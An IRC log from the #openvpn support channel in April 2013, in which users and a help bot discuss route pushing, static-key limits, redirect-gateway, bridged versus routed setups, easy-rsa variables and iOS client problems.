14:13 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
14:13 <@vpnHelper> behind the server or client
14:14 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
14:14 < pekster> hsn: You cannot push options in a static keyed setup
14:15 < pekster> That's explained fairly clearly in the "Static Key disadvantages" here: http://openvpn.net/index.php/open-source/documentation/miscellaneous/78-static-key-mini-howto.html
14:15 <@vpnHelper> Title: Static Key Mini-HOWTO (at openvpn.net)
14:15 < DrCode> pekster, basicly I do push route...?
14:16 < pekster> DrCode: Yup. Something like --push "route 10.20.30.0 255.255.255.0" would push that route to clients, routed across the VPN
14:16 < DrCode> ok
14:16 < DrCode> thankyou
14:16 < DrCode> I wasn't sure
14:18 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 245 seconds]
14:19 -!- mchou_ [~quassel@unaffiliated/mchou] has quit [Read error: Connection reset by peer]
14:20 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
14:22 < hsn> why is pushing options unsupported in static key setup?
14:22 < pekster> There's no channel negotiation
14:22 < pekster> It's just a stream of encrypted packets
14:22 < pekster> Thus there's nothing to "push" commands over. It's simply not possible
14:22 < pekster> Same reason you can't drive a car through the woods. There's no road to do it over
14:23 < hsn> static key is stateless?
14:23 < pekster> Yup
14:24 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 252 seconds]
14:24 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
14:30 < hsn> what is recomended frequence of keepalive pings?
14:34 < pekster> Depends on your usecase, but the default settings of `--keepalive 10 60` are often fine
14:35 -!- chillpill_ [~cak054@c-68-39-90-87.hsd1.nj.comcast.net] has quit [Remote host closed the connection]
14:36 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:36 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
14:42 -!- brute11k [~brute@89.249.230.179] has quit [Quit: Leaving.]
14:44 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
14:45 -!- MarKsaitis [~MarKsaiti@2.217.210.210] has joined #openvpn
14:50 -!- dazo is now known as dazo_afk
14:58 -!- timmmaaaayyy [~timmmaaaa@cpe-68-175-79-100.nyc.res.rr.com] has quit [Ping timeout: 245 seconds]
15:01 -!- timmmaaaayyy [~timmmaaaa@cpe-68-175-79-100.nyc.res.rr.com] has joined #openvpn
15:06 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
15:08 -!- Orbi [~opera@46.246.35.29] has left #openvpn []
15:10 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
15:18 < jzaw> !ping
15:18 <@vpnHelper> pong
15:19 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Read error: Connection reset by peer]
15:19 < jzaw> ta
15:19 -!- hsn [~chatzilla@u154-43.static.grapesc.cz] has quit [Quit: ChatZilla 0.9.90 [Firefox 20.0/20130326150557]]
15:24 -!- MarKsaitis [~MarKsaiti@2.217.210.210] has quit [Read error: Connection reset by peer]
15:26 -!- kmmndr [~tomtom@bro67-2-82-227-110-8.fbx.proxad.net] has quit [Remote host closed the connection]
15:27 -!- Airwave [~Airwave@94-246-37.45.3p.ntebredband.no] has joined #openvpn
15:29 < Airwave> I installed OpenVPN Connect on my iPhone, and I love it. The only issue I have is that it won't let me switch the VPN on and off in the iOS VPN settings, and thus not in SBSettings. Is this an Apple-imposed restriction, or can it be worked around?
15:29 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
15:29 -!- el2ro [~quassel@95.154.196.68] has quit [Read error: Operation timed out]
15:30 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
15:30 -!- el2ro [~quassel@95.154.196.68] has joined #openvpn
15:35 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
15:35 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
15:36 < AccessDenied> !winipforward
15:36 <@vpnHelper> "winipforward" is http://support.microsoft.com/kb/315236 to enable ip forwarding on windows
15:41 < pekster> I don't know what your goal is AccessDenied, but it's often far easier to run a machine using a Linux or BSD flavour to handle routing/forwarding/firewalling than to use Windows as a router, especially non-server systems
15:41 < pekster> You can even run a VM with a router-centric distro under Windows that can use 64MB of RAM, sometimes less if you get a micro-distro
15:42 < pekster> Just food for thought
15:42 < AccessDenied> ooh
15:43 < AccessDenied> nope i actually get confuced here
15:43 < AccessDenied> i have being assigned to the vpn server ip when i succesfully connected to it
15:43 < AccessDenied> but didnt change the ip when i access some website
15:43 < AccessDenied> what may be consuquent into that case?
15:44 < pekster> !redirect
15:44 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
15:44 <@vpnHelper> http://ircpimps.org/redirect.png
15:44 < AccessDenied> i have the latest open vpn software installed with win7 sp2 OS
15:44 < pekster> OpenVPN does not do that by default. You need to configure it to use additional routes
15:44 < pekster> And what's your server setup?
15:45 < AccessDenied> what links to this option to get it configure
15:45 < AccessDenied> do i need to do anything with the OS? specificly
15:46 < AccessDenied> id alrd setup ca.pem + servername.ovpn + pass.txt
15:47 < AccessDenied> id just only connect and it do auto identify and i alrd get into the assingned ip but just that ip doesnt change
15:47 < pekster> Please read the flowchart and above info
15:47 < pekster> It's pretty clear you haven't yet;
15:47 < AccessDenied> arrite..hopefully it is
15:47 < AccessDenied> pekster: thankx
15:48 < AccessDenied> it will*
15:48 < AccessDenied> !def1
15:48 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
15:48 < AccessDenied> lolx
15:49 < AccessDenied> i thinks later wil configure it port forwarding from remote server i snow suffice
15:49 < AccessDenied> but just need wanna know additional knowlegde on setup own vpn
15:54 -!- vpopov [~happylife@dyn-32-176.fttbee.kis.ru] has quit [Read error: Operation timed out]
15:57 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:03 -!- AccessDenied [Betrayer@gateway/shell/trekweb.org/x-vujyfcaqcurnqaav] has quit [Ping timeout: 246 seconds]
16:17 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
16:18 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
16:20 -!- MarKsaitis [~MarKsaiti@2.217.210.210] has joined #openvpn
16:20 -!- AccessDenied [Betrayer@gateway/shell/trekweb.org/x-ghikjefonlkbniia] has joined #openvpn
16:26 -!- pnielsen_ [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has joined #openvpn
16:27 -!- MikeH_ [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has joined #openvpn
16:28 -!- parmegv [U2FsdGVkX1@ma.sdf.org] has joined #openvpn
16:28 -!- pyrobisq1t [~pyrobisqi@208.68.39.44] has joined #openvpn
16:28 -!- abec0_ [olivier@vvma.net] has joined #openvpn
16:32 -!- raidz_ [~raidz@46.28.203.186] has joined #openvpn
16:32 -!- swiftkey_ [swiftkey@2a01:7e00::f03c:91ff:feae:714e] has joined #openvpn
16:33 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has quit [Disconnected by services]
16:33 -!- pnielsen_ is now known as pnielsen
16:33 -!- Netsplit *.net <-> *.split quits: parmegv_, dvl, @raidz, paccer_, MikeH, abec0, pyrobisqit, lmm, swiftkey, pppingme
16:33 -!- raidz_ is now known as raidz
16:33 -!- raidz [~raidz@46.28.203.186] has quit [Changing host]
16:33 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
16:33 -!- mode/#openvpn [+o raidz] by ChanServ
16:34 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
16:34 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:36 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
16:37 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Client Quit]
16:39 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
16:41 -!- MarKsaitis [~MarKsaiti@2.217.210.210] has quit [Quit: Leaving]
16:41 -!- sauce_ [sauce@ool-ad02ad20.dyn.optonline.net] has joined #openvpn
16:42 -!- sauce [sauce@unaffiliated/sauce] has quit [Ping timeout: 240 seconds]
16:42 -!- sauce_ is now known as sauce
16:42 -!- sauce [sauce@ool-ad02ad20.dyn.optonline.net] has quit [Changing host]
16:42 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
16:42 -!- tabakhase_ [t4b4kh453@unaffiliated/tabakhase] has quit [Ping timeout: 240 seconds]
16:42 -!- MorgyN [~mig@island.morgyn.org] has quit [Ping timeout: 240 seconds]
16:43 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
16:43 -!- MorgyN [~mig@island.morgyn.org] has joined #openvpn
16:44 -!- amir__ [~amir@46-126-16-171.dynamic.hispeed.ch] has joined #openvpn
16:44 -!- amir__ [~amir@46-126-16-171.dynamic.hispeed.ch] has quit [Changing host]
16:44 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
16:48 -!- tabakhase_ [t4b4kh453@rps9289.ovh.net] has joined #openvpn
16:58 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
17:01 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:11 -!- kisom [~kisom@130.237.41.249] has joined #openvpn
17:17 -!- rkantos [robin@4e.fi] has quit [Read error: Operation timed out]
17:20 -!- pyrobisq1t [~pyrobisqi@208.68.39.44] has quit [Quit: leaving]
17:20 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
17:21 -!- rkantos [robin@4e.fi] has joined #openvpn
17:22 -!- pyrobisqit [~pyrobisqi@208.68.39.44] has joined #openvpn
17:27 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
17:28 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Client Quit]
17:28 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
18:14 -!- smerz [~smerz@a177088.upc-a.chello.nl] has quit [Ping timeout: 246 seconds]
18:17 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
18:17 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
18:18 -!- Cpt-Oblivious [~cpt-obliv@a202101.upc-a.chello.nl] has quit [Read error: Connection reset by peer]
18:23 -!- lmm [uid6417@gateway/web/irccloud.com/x-tjyhulzjmlolfwtq] has joined #openvpn
18:23 -!- dvl is now known as dvl-83
18:23 -!- dvl-83 is now known as dvl
18:23 -!- paccer_ [uid4847@gateway/web/irccloud.com/x-vqlonrbmvwxamxog] has joined #openvpn
18:37 -!- mchou_ [~quassel@unaffiliated/mchou] has joined #openvpn
18:37 -!- mchou [~quassel@unaffiliated/mchou] has quit [Ping timeout: 245 seconds]
19:12 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 248 seconds]
19:36 -!- raidz is now known as raidz_away
19:55 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 264 seconds]
19:59 -!- [clu5ter] [~staff@orionlink.net] has joined #openvpn
19:59 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 240 seconds]
20:04 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
20:05 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
20:07 -!- [fred] [fred@konfuzi.us] has joined #openvpn
20:10 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 252 seconds]
20:14 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
20:24 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 240 seconds]
20:36 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:38 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
20:53 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
21:26 -!- Eugene [eugene@madeitwor.se] has quit [Ping timeout: 245 seconds]
21:28 -!- Denial [~Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
21:44 -!- SirScott [~scott@c-24-9-3-56.hsd1.co.comcast.net] has left #openvpn []
21:50 -!- Gruu_ [~Gruu_@213.211.132.86.static.edpnet.net] has joined #openvpn
21:55 -!- Eugene [eugene@madeitwor.se] has joined #openvpn
22:24 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
22:35 -!- Gruu_ [~Gruu_@213.211.132.86.static.edpnet.net] has quit [Quit: Gruu_]
23:01 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
23:07 -!- shutin [~ks@unaffiliated/shutin] has joined #openvpn
23:11 < shutin> hi! can anyone give me some pointers about setting up openvpn in OpenWRT? I'm stuck at the bridging options
23:20 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
23:30 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 255 seconds]
23:31 -!- Devastator [~devas@186.214.14.77] has joined #openvpn
23:33 -!- Devastator [~devas@186.214.14.77] has quit [Changing host]
23:33 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
23:39 < DrCode> hi all
23:39 < DrCode> At last, my openvpn work perfect, thankyou again
23:39 < DrCode> is there openvpn client for web?
--- Day changed Wed Apr 10 2013
00:01 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
00:04 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
00:06 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
00:21 -!- shutin_ [~ks@c-50-136-187-227.hsd1.ca.comcast.net] has joined #openvpn
00:21 -!- shutin [~ks@unaffiliated/shutin] has quit [Ping timeout: 256 seconds]
00:24 -!- brute11k [~brute@89.249.231.70] has joined #openvpn
00:28 -!- FluxD [~FluxD@unaffiliated/fluxd] has quit [Ping timeout: 245 seconds]
00:31 -!- FluxD [~FluxD@rrcs-24-227-222-138.sw.biz.rr.com] has joined #openvpn
00:31 -!- FluxD [~FluxD@rrcs-24-227-222-138.sw.biz.rr.com] has quit [Changing host]
00:31 -!- FluxD [~FluxD@unaffiliated/fluxd] has joined #openvpn
00:47 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
01:02 -!- brute11k1 [~brute@89.249.231.70] has joined #openvpn
01:02 -!- brute11k [~brute@89.249.231.70] has quit [Ping timeout: 252 seconds]
01:15 -!- ade_b [~Ade@koln-5d816c00.pool.mediaWays.net] has joined #openvpn
01:15 -!- ade_b [~Ade@koln-5d816c00.pool.mediaWays.net] has quit [Changing host]
01:15 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
01:20 -!- tabakhase_ [t4b4kh453@rps9289.ovh.net] has quit [Changing host]
01:20 -!- tabakhase_ [t4b4kh453@unaffiliated/tabakhase] has joined #openvpn
01:23 < jzaw> shutin_, i recently did openvpn on openwrt
01:23 < jzaw> dont do bridged ... routed is the way to go
01:23 < Eugene> !whybridge
01:23 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
01:25 < jzaw> Eugene, why is it like 90% of the howto's out there are bridging?
01:25 < Eugene> Because people are idiots
01:25 < jzaw> thats a lot of idiots
01:25 < jzaw> ;/
01:25 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
01:30 -!- mattock_afk is now known as mattock
01:32 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
01:34 -!- shutin_ [~ks@c-50-136-187-227.hsd1.ca.comcast.net] has quit [Ping timeout: 252 seconds]
01:50 -!- brute11k2 [~brute@89.249.231.70] has joined #openvpn
01:53 -!- brute11k1 [~brute@89.249.231.70] has quit [Ping timeout: 260 seconds]
01:58 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
01:59 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:00 -!- brute11k2 [~brute@89.249.231.70] has quit [Quit: Leaving.]
02:15 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:41 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
02:43 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:52 < Airwave> I installed OpenVPN Connect on my iPhone, and I love it. The only issue I have is that it won't let me switch the VPN on and off in the iOS VPN settings, and thus not in SBSettings. Is this an Apple-imposed restriction, or can it be worked around?
02:58 -!- JackWinter [~jack@vodsl-9778.vo.lu] has quit [Quit: ZNC - http://znc.in]
03:00 -!- JackWinter [~jack@vodsl-9778.vo.lu] has joined #openvpn
03:04 -!- Denial [~Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
03:09 -!- dazo_afk is now known as dazo
03:35 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has joined #openvpn
03:35 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 256 seconds]
03:41 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
03:43 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has quit [Quit: Leaving]
03:44 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has joined #openvpn
03:54 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has quit [Ping timeout: 245 seconds]
04:04 -!- RealRancor [~Rancor@mafiaforum.de] has joined #openvpn
04:09 -!- matt1s [~mattis@hurfmydurf.com] has joined #openvpn
04:09 -!- RealRancor [~Rancor@mafiaforum.de] has quit [Ping timeout: 245 seconds]
04:09 < matt1s> Is it possible to enable --duplicate-cn only for one specific user?
04:18 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
04:18 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has joined #openvpn
04:21 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
04:23 < Dropje> matt1s: no
04:28 -!- SpookZA [~SpookZA@41-133-138-52.dsl.mweb.co.za] has quit [Read error: Connection reset by peer]
04:28 -!- SpookZA [~SpookZA@41-133-138-52.dsl.mweb.co.za] has joined #openvpn
04:38 -!- SpookZA [~SpookZA@41-133-138-52.dsl.mweb.co.za] has quit [Read error: Connection reset by peer]
04:50 < MacGyver> Eugene, jzaw: Other than that routed is easier and makes more sense in most topologies, is there another reason that bridging is discouraged?
04:55 < jzaw> MacGyver, (im a relative openvpn newbie) bridged means your client end is part of the server end
04:56 < jzaw> so arp traffic ... broadcast ... etc etc all gets sent both ways
04:56 < jzaw> good for some things like say xbox local link gaming (without using xbox live £££) etc
04:57 < jzaw> tap interfaces also have higher overheads
04:57 < jzaw> but it does mean ipv6 just works
05:01 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has quit [Quit: Leaving]
05:02 -!- civillian [~nick@122.49.202.174] has quit [Ping timeout: 256 seconds]
05:10 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has joined #openvpn
05:10 < kisom> jzaw: Xbox measures latency and wont allow "local" gaming over a certain amount of milliseconds ;)
05:11 < jzaw> sure
05:11 < jzaw> do you know what that limit is?
05:11 < kisom> No idea, never owned a gaming console.
05:12 < jzaw> k :)
05:12 < kisom> Probably < 5 ms
05:15 < Nothing4You> in easy-rsa/vars
05:15 < Nothing4You> there are these lines:
05:15 < Nothing4You> export PKCS11_MODULE_PATH=changeme
05:15 < Nothing4You> export PKCS11_PIN=1234
05:15 < Nothing4You> what would i set PKCS11_MODULE_PATH to?
05:15 < Nothing4You> i guess PKCS11_PIN would be the password it would get encrypted with?
05:17 < Nothing4You> do i even need to care about those vars if i just want to use simple cert auth without passwords?
05:17 < jzaw> kisom, im not sure
05:17 < jzaw> there are apps that do vpn kind of thing
05:18 < jzaw> and ive seen ppl play across europe and to usa
05:18 < jzaw> id hazard a guess latency is more than 5ms across the atlantic
05:19 < Nothing4You> pretty sure it is
05:20 < Nothing4You> i believe even with fttd on both ends it would take more than 5ms
05:23 -!- Gruu_ [~Gruu_@213.211.132.86.static.edpnet.net] has joined #openvpn
05:24 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has quit [Quit: Leaving]
05:25 -!- Gruu_ [~Gruu_@213.211.132.86.static.edpnet.net] has quit [Read error: Connection reset by peer]
05:26 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has joined #openvpn
05:27 -!- SpookZA [~SpookZA@41-133-138-52.dsl.mweb.co.za] has joined #openvpn
05:34 -!- civillian [~nick@174.202.49.122-static.velocitynet.com.au] has joined #openvpn
05:36 < MacGyver> jzaw: I don't see arp traffic and broadcasts getting through as a bad thing - that just depends on the topology you want. The overhead is interesting though - how come TAP has higher overhead than TUN? Is there a writeup on that somewhere?
05:38 < Nothing4You> !tap
05:38 <@vpnHelper> "tap" is "bridge" is (#1) http://openvpn.net/index.php/documentation/faq.html#bridge1, or (#2) http://openvpn.net/index.php/documentation/miscellaneous/ethernet-bridging.html, or (#3) Bridging looks like a good choice to people who don't know how to set up IP routing, but to learn routing is generally far better., or (#4) useful for windows sharing (without wins server) and LAN gaming, anything
05:38 <@vpnHelper> where the protocol uses MAC addresses instead of IP addresses.
05:38 < Nothing4You> !tun
05:38 < Nothing4You> no tun info?
05:44 < jzaw> actually i use routed tap
05:47 -!- batrick [~batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.0]
05:49 -!- [clu5ter] is now known as clu5ter
05:49 -!- clu5ter [~staff@orionlink.net] has quit [Changing host]
05:49 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
05:51 -!- [stockss] [~stockss]@113.224.231.217] has joined #openvpn
05:53 -!- [stockss] [~stockss]@113.224.231.217] has left #openvpn []
05:53 -!- MikeH_ is now known as MikeH
05:56 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
05:57 < MacGyver> Nothing4You: Your name is apt, since it appears none of those links have the information I'm after ^_^
05:59 < MacGyver> Ah, ethernet headers.
05:59 < MacGyver> Of course.
06:01 -!- RealRancor [~Rancor@mafiaforum.de] has joined #openvpn
06:05 -!- RealRancor [~Rancor@mafiaforum.de] has quit [Ping timeout: 245 seconds]
06:09 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:17 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has quit [Quit: Leaving]
06:21 < Nothing4You> apt?
06:23 < MacGyver> Uhm...
06:23 < MacGyver> Appropriate in the circumstances.
06:23 < Nothing4You> ah
06:31 -!- batrick [~batrick@nmap/developer/batrick] has joined #openvpn
06:32 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 252 seconds]
06:35 -!- RealRancor [~Rancor@mafiaforum.de] has joined #openvpn
06:40 -!- RealRancor [~Rancor@mafiaforum.de] has quit [Ping timeout: 264 seconds]
06:47 -!- CygniX [~CygniX@unaffiliated/twois10] has joined #openvpn
06:50 < CygniX> I am setting up version 2.3.1 and the key_size in vars is default to 2048, was previously 1024, what kind of performance hit could one expect?
06:52 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
06:52 < BadCodSmell> What is the actual website for openvpn?
06:53 < BadCodSmell> There's a bunch of spam for some company all over google called openvpn technologies inc or something
06:53 < CygniX> http://openvpn.net/
06:53 <@vpnHelper> Title: OpenVPN - Open Source VPN (at openvpn.net)
06:53 < BadCodSmell> That's not it
06:53 < BadCodSmell> That's some corporate website
06:53 < CygniX> ??
06:54 < CygniX> check wikipedia
06:54 < BadCodSmell> Doesn't it have a source forge page or something?
06:55 < BadCodSmell> I mean
06:55 < BadCodSmell> There's no page I can find for the software its self
06:56 < CygniX> you can't find where to download openvpn?
06:56 < BadCodSmell> http://openvpn.net/ with this?
06:56 < BadCodSmell> no
06:56 <@vpnHelper> Title: OpenVPN - Open Source VPN (at openvpn.net)
06:57 < BadCodSmell> it just has 3 buttons
06:57 < BadCodSmell> that's useless
06:57 < CygniX> http://openvpn.net/index.php/download/community-downloads.html
06:57 <@vpnHelper> Title: Community Downloads (at openvpn.net)
06:57 < BadCodSmell> ok
06:57 < BadCodSmell> they should make a proper ui
06:57 < BadCodSmell> Although I guess that's the point
06:58 < BadCodSmell> To make the download hard to find
06:58 < BadCodSmell> Because they want to steer people to their services
06:59 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
07:02 -!- FishyCodeSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
07:03 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Read error: Connection reset by peer]
07:11 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 245 seconds]
07:12 -!- cnf [qB0QQpdCVG@unaffiliated/cnf] has joined #openvpn
07:12 < cnf> hi
07:12 < cnf> can i get support for the iPad openvpn connect app here?
07:17 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
07:18 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
07:18 < cnf> weird thing is it connects fine, just doesn't seem to want to route any traffic
07:20 -!- FishyCodeSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Remote host closed the connection]
07:20 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
07:20 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
07:20 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
07:24 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
07:24 -!- SpookZA [~SpookZA@41-133-138-52.dsl.mweb.co.za] has quit [Read error: Connection reset by peer]
07:25 -!- SpookZA [~SpookZA@41-133-138-52.dsl.mweb.co.za] has joined #openvpn
07:30 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
07:31 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:33 -!- master_of_master [~master_of@p4FF246FE.dip.t-dialin.net] has quit [Ping timeout: 256 seconds]
07:35 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
07:35 -!- master_of_master [~master_of@p4FF24D54.dip.t-dialin.net] has joined #openvpn
07:38 < cnf> hmm
07:39 <@ecrist> cnf: are you running iOS 6?
07:40 < cnf> ecrist: yes
07:40 <@ecrist> to help, we need to more than just "not route any traffic"
07:40 <@ecrist> !configs
07:40 <@ecrist> !logs
07:40 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
07:40 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
07:41 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
07:41 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
07:41 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
07:41 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
07:47 -!- syzzer [~steffan@50709D8D.static.ziggozakelijk.nl] has joined #openvpn
07:48 < cnf> ecrist: that's the client config http://pastie.org/7420590
07:51 <@ecrist> I need server config, and logs from both
07:52 < cnf> yeah, dno if i can get server config/logs, working on client logs
07:55 < kisom> cnf:
07:55 < kisom> !both
07:55 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
